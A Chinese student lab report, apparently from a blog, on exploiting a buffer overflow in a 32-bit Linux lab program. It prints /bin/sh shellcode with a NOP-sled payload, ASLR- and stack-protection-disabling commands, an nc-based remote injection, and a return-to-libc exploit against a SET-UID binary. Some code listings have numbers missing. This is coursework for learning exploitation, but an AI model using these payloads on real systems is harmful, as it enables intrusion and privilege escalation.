20144306《网络对抗》MAL_PC平台逆向破解_Advanced
PC平台逆向破解_Advanced
一.注入shellcode并执行
1.什么是shellcode?
shellcode顾名思义就是一段为了获取交互式shell的机器指令,是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。
2.如何编写shellcode?
3.如何实现shellcode注入?
- 准备一段shellcode代码:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

- 设置环境:

execstack指令 -s 参数:设置堆栈可执行
-q 参数:查询文件的堆栈是否可执行 结果X表示可执行
echo "" > /proc/sys/kernel/randomize_va_space
表示关闭地址随机化
- 构造payload:
linux两种构造buf的方法:
①retaddr+nop+shellcode //retaddr在缓冲区的位置是固定的,缓冲区比较小的时候shellcode放retaddr后面 ②nop+shellcode+retaddr //缓冲区比较大的时候shellcode放retaddr前面
//nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
选择anything+retaddr+nops+shellcode 结构来构造如下语句:
perl -e 'print "H" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > 4306input_shellcode

\x1\x2\x3\x4代表返回地址,我们需要改成shellcode的地址。
现在求shellcode的地址~~
注入上面的攻击buf:

新打开一个terminal,查询20144306进程号:

第一行4514即是。
调试程序20144306:


反汇编foo函数:

注意ret的位置,我们要在ret处设置断点,目的就是为了查看注入buf的内存地址来分析shellcode的地址:


0xffffd32c存放的的之前瞎猜的返回地址,实际想要的shellcode地址在0xc0319090那条code处,也就是: 0xffffd334。
然后修改之前的注入语句:

再来尝试注入:

成功~
4.再来一段shellcode注入?结合nc模拟远程攻击
这次我们需要两台主机pc1和pc2
先查看pc1的ip地址:

一定要好好设置pc1环境:

这里如果不关闭地址随机化,那么每次foo函数的地址都会随机改变,我们根本就没法预测。
在pc1上运行nc监测4306端口:

另一台主机pc2远程连接,注入buf(这个buf还是之前的buf,下面我们要对此buf进行修改):

在pc1上另开一个terminal,查询可执行文件20144306的进程号,下面步骤就和前面基本一样了,gdb编译20144306,反编译foo,查询esp位置,并计算shellcode的地址:


看到shellcode地址是0xffffd344,在pc2上修改buf:

ok,再来一次:
pc 1输入下面内容:

pc 2输入下面内容:

成功~~
二.Return-to-libc攻击深入
1.关于Return-to-libc
如果攻击者将攻击代码放在堆栈中,但目标设置了非执行堆栈技术,上面的方法就行不通。
再来看下Return-to-libc攻击方法,该方法不需要注入,而利用漏洞函数已有函数完成攻击,让漏洞程序跳转到已有的代码序列。攻击者在实施攻击时仍然可以用恶意代码的地址来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。
2.怎么使用Return-to-libc?
- 配置32位linux环境:


- 添加新用户 hsy:

- 切换新建用户完成以下操作:
进入32位linux环境,关闭地址随机化,便于我们计算地址值

设置zsh程序代替/bin/bash,防止/bin/bash中的防护程序发挥作用:

将漏洞程序20144306retlib.c保存在/tmp目录下:

代码如下:
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), , badfile);
return ;
}
20144306retlib.c
- sudo su 切换身份,编译20144306retlib.c,关闭阻止缓冲区溢出的栈保护机制,并为其设置SET-UID来方便提权:

- exit回到新建用户,新建另两个c文件,分别放置读取环境变量的程序和攻击程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char const *argv[])
{
char *ptr; if(argc < ){
printf("Usage: %s <environment var> <target program name>\n", argv[]);
exit();
}
ptr = getenv(argv[]);
ptr += (strlen(argv[]) - strlen(argv[])) * ;
printf("%s will be at %p\n", argv[], ptr);
return ;
}
20144306getenvaddr.c
//读取环境变量
//编译一下
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[] =0x11111111; // 查询BIN_SH的地址后放入
*(long *) &buf[] =0x22222222; // 查询system()的地址后放入
*(long *) &buf[] =0x33333333; // 查询exit()的地址后放入
fwrite(buf, sizeof(buf), , badfile);
fclose(badfile);
}
20144306exploit.c
//攻击
//不要忘记编译
- 利用20144306getenvaddr来获取BIN_SH的地址:0xffffde1e

- 利用gdb来获得system和exit的地址:

观察到system地址是:0xf7e2eb30,exit地址是:0xf7e227e0
- 回过头来,打开20144306exploit.c进行如下修改,填写查询到的三个地址:

- 删除刚才调试编译的 20144306exploit 程序和 badfile 文件,重新编译修改后的 20144306exploit.c:

- 先运行攻击程序20144306exploit再运行漏洞程序20144306retlib

成功~~
三.本期收获
对shellcode有了初步了解,刚开始做实验不知道自己在干什么,然后在失败中渐渐明白为什么要做这一步以及不做会有什么后果,比如不关地址随机化就没法预测地址,失败次数多了,步骤重复地都能背下来了,这个实验在后门实验后面做的,后门用到了ncat,这里又将shellcode和ncat结合做了个小实践也很有意思,单一的攻击很软,只有多种攻击方式结合才会让目标无所适从,第一次了解Return-to-libc攻击,三个攻击代码都是别人写好的,拿出来用很简单,但是真正理解然后自己仿制却需要更多时间,希望今后能力会有更大提升,先写到这里,这篇应该还可以完善~~
20144306《网络对抗》MAL_PC平台逆向破解_Advanced的更多相关文章
- 20155334 网络对抗PC平台逆向破解(二)
注入Shellcode并运行攻击 shellcode就是一段机器指令(code) 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe) ...
- 20145240《网络对抗》PC平台逆向破解_advanced
PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...
- 20145221高其_PC平台逆向破解_advanced
20145221高其_PC平台逆向破解_advanced 实践目录 shellcode注入 Return-to-libc 攻击实验 shellcode注入 概述 Shellcode实际是一段代码(也可 ...
- 20145218张晓涵 PC平台逆向破解_advanced
---恢复内容开始--- 20145218张晓涵 PC平台逆向破解_advanced shellcode注入 基础知识 shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码 ...
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
随机推荐
- Oracle sqlldr导入之“MAXIMUM ERROR COUNT EXCEEDED”
昨天看到一个同事在通过PL/SQL Developer工具把文本数据往oracle表;有两个文本:一个有30万条记录:一个7万多条记录.在导入到过程中:出现错误记录还需要点击确认.不过使用黑科技(屏幕 ...
- Bypass X-WAF SQL注入防御(多姿势)
0x00 前言 X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. ...
- BugHD 与你的应用一起成长
BugHD 新增功能 1.新增安装量.启动量的统计功能 BugHD SDK 1.3.0新增安装量.启动量的统计功能,在崩溃分析页面右上角可看到安装量和启动量. BugHD 体验优化 1.Android ...
- [Command] sync - 同步内存与硬盘数据
sync - 同步内存与硬盘之间的数据. sync [--help] [--version] sync 命令将内存中缓存的数据写入磁盘.这包括但不限于修改过的 superblock, inode 和延 ...
- [XPath] XPath 与 lxml (五)XPath 实例
本文继续沿用第三章的 XML 示例文档. 选取价格高于30的 price 节点 # 从父节点进行筛选 >>> root.xpath('//book[price>30]/pric ...
- Kafka producer拦截器(interceptor)
Producer拦截器(interceptor)是个相当新的功能,它和consumer端interceptor是在Kafka 0.10版本被引入的,主要用于实现clients端的定制化控制逻辑. 对于 ...
- Git和GitHub入门基础
-----------------------------------------//cd F:/learngit // 创建仓库git init // 在当前目录下创建空的git仓库------- ...
- 游戏服务器学习笔记 5———— twisted Perspective Broker 透明代理
实际上这章压根不需要我来说,twisted官网的Doc里面有专门介绍的章节.写的非常详细. http://twistedmatrix.com/documents/current/core/howto/ ...
- 开发常见错误之 :Missing artifact com.sun:tools:jar 1.7.0
Missing artifact com.sun:tools:jar 1.7.0 解决办法一: 手动配置pom.xml,添加一个dependency如下: <dependency> < ...
- JDBC的驱动是如何加载的
注:本文出处:http://www.cnblogs.com/jiaoyiping/ 转载请保留出处 JDBC定义了一套接口,数据库产品的提供商会实现这些接口来提供自己的数据库驱动程序,这是个很好的面向 ...